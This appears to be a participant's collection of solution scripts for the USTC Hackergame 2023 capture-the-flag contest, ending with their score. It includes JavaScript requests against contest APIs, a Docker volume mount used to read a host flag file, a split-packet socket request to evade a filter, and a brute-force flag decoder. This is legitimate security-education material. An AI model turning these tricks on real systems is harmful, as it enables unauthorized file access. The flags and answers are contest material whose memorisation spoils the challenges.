USTC Hackergame 2023 Writeups

for (let i = 0; i < 3; i++) {
    await (await fetch("http://202.38.93.111:10077/", {
      "headers": {
        "content-type": "application/json",
      },
      "body": "{\"x\":\"" + i + "\",\"y\":\"2\"}",
      "method": "POST",
    })).text()
}

const Sleep = (ms) => {
    return new Promise((resolve) => {
        setTimeout(resolve, ms)
    })
}
let list = await(await fetch("http://202.38.93.111:10021/api/getMessages", { method: "POST" })).json()

list.messages.forEach(async (x, index) => {
    await Sleep(x.delay * 1000)
    if (/hack\[[a-z]+\]/gm.test(x.text)) {
        fetch("http://202.38.93.111:10021/api/deleteMessage", {
            method: "POST",
            headers: {
                "Content-Type": "application/json"
            },
            body: `{"id":${index}}`
        })
    }
})

let token = await (await fetch("http://202.38.93.111:10021/api/getflag", { method: "POST" })).json()
console.log(token)

git reset --hard 505e1a3

GET /\r\n HTTP/1.1\r\n
Host: example.com\r\n\r\n

docker run -v /flag:/flag -it alpine
cat /flag

let code_dict = []
code_dict.push('nymeh1niwemflcir}echaet')
code_dict.push('a3g7}kidgojernoetlsup?h')
code_dict.push('ulw!f5soadrhwnrsnstnoeq')
code_dict.push('ct{l-findiehaai{oveatas')
code_dict.push('ty9kxborszstguyd?!blm-p')

const decrypt_data = (data, _code_dict) => {
    let new_code_str = _code_dict.join('')
    return data.map(x => new_code_str[x]).join('')
}

let flag = ''
for (let i = 0; i < code_dict[0].length; i++) {
    for (let j = 0; j < code_dict[0].length; j++) {
        for (let k = 0; k < code_dict[0].length; k++) {
            for (let l = 0; l < code_dict[0].length; l++) {
                for (let m = 0; m < code_dict[0].length; m++) {
                    let new_code_dict = JSON.parse(JSON.stringify(code_dict))
                    new_code_dict[0] = new_code_dict[0].slice(0, i) + code_dict[0][i] + new_code_dict[0].slice(i)
                    new_code_dict[1] = new_code_dict[1].slice(0, j) + code_dict[1][j] + new_code_dict[1].slice(j)
                    new_code_dict[2] = new_code_dict[2].slice(0, k) + code_dict[2][k] + new_code_dict[2].slice(k)
                    new_code_dict[3] = new_code_dict[3].slice(0, l) + code_dict[3][l] + new_code_dict[3].slice(l)
                    new_code_dict[4] = new_code_dict[4].slice(0, m) + code_dict[4][m] + new_code_dict[4].slice(m)
                    let new_flag = decrypt_data([53, 41, 85, 109, 75, 1, 33, 48, 77, 90,
                        17, 118, 36, 25, 13, 89, 90, 3, 63, 25,
                        31, 77, 27, 60, 3, 118, 24, 62, 54, 61,
                        25, 63, 77, 36, 5, 32, 60, 67, 113, 28], new_code_dict)
                    if (new_flag.startsWith('flag{') && new_flag.endsWith('}') && new_flag !== flag) {
                        flag = new_flag
                        console.log(flag)
                    }
                }
            }
        }
    }
}

/*
最后出了好几个结果，选最后一个即可
flag{nou-v}-r3lovmr3d-7hm-an5w3r-rhght?}
flag{you-v}-r3lovmr3d-7hm-an5w3r-rhght?}
flag{you-v}-r3lover3d-7he-an5w3r-rhght?}
flag{you-v}-r3lover3d-7he-an5w3r-r1ght?}
flag{you-v}-r3cover3d-7he-an5w3r-r1ght?}
flag{you-ve-r3cover3d-7he-an5w3r-r1ght?} <--
*/

asciinema cat asciinema_restore.rec > flag.js

node flag.js
flag{y0u_cAn_ReSTorE_C0de_fr0m_asc11nema_3db2da1063300e5dabf826e40ffd016101458df23a371}

import cv2
import numpy as np

def restore_video(input_file, output_file, frame_width, frame_height, frame_count):
    with open(input_file, "rb") as file:
        binary_data = file.read()
    #print(len(binary_data), len(binary_data) % 1281)
    binary_data = binary_data[:-1200] #最后面的不重要，直接去掉就好
    print(len(binary_data))
    frame_size = frame_width * frame_height * 3 #1281

    frames = [binary_data[i:i + frame_size] for i in range(0, len(binary_data), frame_size)]
    
    fourcc = cv2.VideoWriter_fourcc(*'mp4v')
    out = cv2.VideoWriter(output_file, fourcc, frame_count, (frame_width, frame_height))

    for frame_data in frames:
        frame = np.frombuffer(frame_data, dtype=np.uint8)
        frame = frame.reshape(frame_height, frame_width, 3)
        out.write(frame)

    out.release()

if __name__ == "__main__":
    input_file = "video.bin"
    output_file = "restored_video.mp4"
    frame_width = 427
    frame_height = 25
    frame_count = 10 #调慢点方便截图

    restore_video(input_file, output_file, frame_width, frame_height, frame_count)

import socket
import sys

port = 18080

headers = """\
POST / HTTP/1.1\r
Content-Type: {content_type}\r
Content-Length: {content_length}\r
Host: {host}\r
Connection: close\r
\r\n"""

body = '114514:asdfgh==' #这里换成自己的token

body_bytes = body.encode('ascii')
header_bytes = headers.format(
    content_type="application/x-www-form-urlencoded",
    content_length=len(body_bytes),
    host=str("202.38.93.111") + ":" + str(port)
).encode('iso-8859-1')

payload = header_bytes + body_bytes

try:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect(("202.38.93.111", port))
        s.sendall(payload[0:3])
        s.sendall(payload[3:])
        response = b''
        while True:
            data = s.recv(1024)
            if not data:
                break
            response += data
    print(response.decode('utf-8'))
except:
    print(sys.exc_info())

package main

import "os"

func main() {
    body, err := os.ReadFile("/flag")
    if err != nil {
        panic(err)
    }
    println(string(body))
}

当前分数：3900， 总排名：130 / 2386
AI：100 ， binary：450 ， general：2150 ， math：200 ， web：1000